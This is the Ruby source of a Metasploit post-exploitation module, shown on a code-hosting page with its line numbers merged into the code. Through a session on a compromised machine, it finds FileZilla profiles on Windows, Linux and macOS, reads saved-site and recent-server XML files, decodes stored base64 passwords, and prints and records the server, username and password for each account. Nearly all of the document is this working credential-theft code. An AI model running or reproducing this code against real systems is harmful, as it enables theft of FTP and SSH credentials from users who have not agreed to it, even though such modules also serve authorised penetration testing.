Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/filezilla_client_cred.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Windows::UserProfiles1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Multi Gather FileZilla FTP Client Credential Collection',16'Description' => %q{ This module will collect credentials from the FileZilla FTP client if it is installed. },17'License' => MSF_LICENSE,18'Author' => [19'bannedit', # post port, added support for shell sessions20'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script21],22'Platform' => %w[bsd linux osx unix win],23'SessionTypes' => ['shell', 'meterpreter' ],24'Compat' => {25'Meterpreter' => {26'Commands' => %w[27core_channel_eof28core_channel_open29core_channel_read30core_channel_write31stdapi_fs_stat32stdapi_sys_config_getenv33stdapi_sys_config_getuid34]35}36}37)38)39end4041def run42paths = []43case session.platform44when 'unix', 'linux', 'bsd'45@platform = :unix46paths = enum_users_unix47when 'osx'48@platform = :osx49paths = enum_users_unix50when 'windows'51@platform = :windows52profiles = grab_user_profiles53profiles.each do |user|54next if user['AppData'].nil?5556fzdir = check_filezilla(user['AppData'])57paths << fzdir if fzdir58end5960else61print_error "Unsupported platform #{session.platform}"62return63end64if paths.nil? || paths.empty?65print_status('No users found with a FileZilla directory')66return67end6869get_filezilla_creds(paths)70end7172def enum_users_unix73if @platform == :osx74home = '/Users/'75else76home = '/home/'77end7879if got_root?80userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")81userdirs << "/root\n"82else83userdirs = session.shell_command("ls #{home}#{whoami}/.filezilla")84if userdirs =~ /No such file/i85return86else87print_status("Found FileZilla Client profile for: #{whoami}")88return ["#{home}#{whoami}/.filezilla"]89end90end9192paths = Array.new93userdirs.each_line do |dir|94dir.chomp!95next if dir == '.' || dir == '..'9697dir = "#{home}#{dir}" if dir !~ /root/98print_status("Checking for FileZilla Client profile in: #{dir}")99100stat = session.shell_command("ls #{dir}/.filezilla/sitemanager.xml")101next if stat =~ /No such file/i102103paths << "#{dir}/.filezilla"104end105return paths106end107108def check_filezilla(filezilladir)109print_status("Checking for Filezilla directory in: #{filezilladir}")110session.fs.dir.foreach(filezilladir) do |dir|111if dir =~ /FileZilla/112print_status("Found #{filezilladir}\\#{dir}")113return "#{filezilladir}\\#{dir}"114end115end116return nil117end118119def report_cred(opts)120service_data = {121address: opts[:ip],122port: opts[:port],123service_name: opts[:service_name],124protocol: 'tcp',125workspace_id: myworkspace_id126}127128credential_data = {129module_fullname: fullname,130post_reference_name: refname,131session_id: session_db_id,132origin_type: :session,133private_data: opts[:password],134private_type: :password,135username: opts[:username]136}.merge(service_data)137138login_data = {139core: create_credential(credential_data),140status: Metasploit::Model::Login::Status::UNTRIED141}.merge(service_data)142143create_credential_login(login_data)144end145146def get_filezilla_creds(paths)147sitedata = ''148recentdata = ''149creds = []150151paths.each do |path|152print_status("Reading sitemanager.xml and recentservers.xml files from #{path}")153if session.type == 'shell'154type = :shell155sites = session.shell_command("cat #{path}/sitemanager.xml")156recents = session.shell_command("cat #{path}/recentservers.xml")157print_status("recents: #{recents}")158creds = [parse_accounts(sites)]159creds << parse_accounts(recents) unless recents =~ /No such file/i160else161type = :meterp162sitexml = "#{path}\\sitemanager.xml"163present = begin164session.fs.file.stat(sitexml)165rescue StandardError166nil167end168if present169sites = session.fs.file.new(sitexml, 'rb')170sitedata << sites.read until sites.eof?171sites.close172print_status('Parsing sitemanager.xml')173creds = [parse_accounts(sitedata)]174else175print_status('No saved connections where found')176end177178recent_file = "#{path}\\recentservers.xml"179recent_present = begin180session.fs.file.stat(recent_file)181rescue StandardError182nil183end184if recent_present185recents = session.fs.file.new(recent_file, 'rb')186recentdata << recents.read until recents.eof?187recents.close188print_status('Parsing recentservers.xml')189creds << parse_accounts(recentdata)190else191print_status('No recent connections where found.')192end193end194creds.each do |cred|195cred.each do |loot|196if session.db_record197source_id = session.db_record.id198else199source_id = nil200end201202report_cred(203ip: loot['host'],204port: loot['port'],205service_name: 'ftp',206username: loot['user'],207password: loot['password']208)209end210end211end212end213214def parse_accounts(data)215creds = []216217doc = begin218REXML::Document.new(data).root219rescue StandardError220nil221end222return [] if doc.nil?223224doc.elements.to_a('//Server').each do |sub|225account = {}226account['host'] = begin227sub.elements['Host'].text228rescue StandardError229'<unknown>'230end231account['port'] = begin232sub.elements['Port'].text233rescue StandardError234'<unknown>'235end236237case sub.elements['Logontype'].text238when '0'239account['logontype'] = 'Anonymous'240when /1|4/241account['user'] = begin242sub.elements['User'].text243rescue StandardError244'<unknown>'245end246if sub.elements['Pass'].attributes['encoding'] == 'base64'247account['password'] = begin248Rex::Text.decode_base64(sub.elements['Pass'].text)249rescue StandardError250'<unknown>'251end252else253account['password'] = begin254sub.elements['Pass'].text255rescue StandardError256'<unknown>'257end258end259when /2|3/260account['user'] = begin261sub.elements['User'].text262rescue StandardError263'<unknown>'264end265account['password'] = '<blank>'266end267268if account['user'].nil?269account['user'] = '<blank>'270end271if account['password'].nil?272account['password'] = '<blank>'273end274275case sub.elements['Protocol'].text276when '0'277account['protocol'] = 'FTP'278when '1'279account['protocol'] = 'SSH'280when '3'281account['protocol'] = 'FTPS'282when '4'283account['protocol'] = 'FTPES'284end285creds << account286287print_status(' Collected the following credentials:')288print_status(' Server: %s:%s' % [account['host'], account['port']])289print_status(' Protocol: %s' % account['protocol'])290print_status(' Username: %s' % account['user'])291print_status(' Password: %s' % account['password'])292print_line('')293end294return creds295end296297def got_root?298case @platform299when :windows300if session.sys.config.getuid =~ /SYSTEM/301return true302else303return false304end305else # unix, bsd, linux, osx306ret = whoami307if ret =~ /root/308return true309else310return false311end312end313end314315def whoami316if @platform == :windows317session.sys.config.getenv('USERNAME')318else319session.shell_command('whoami').chomp320end321end322end323324325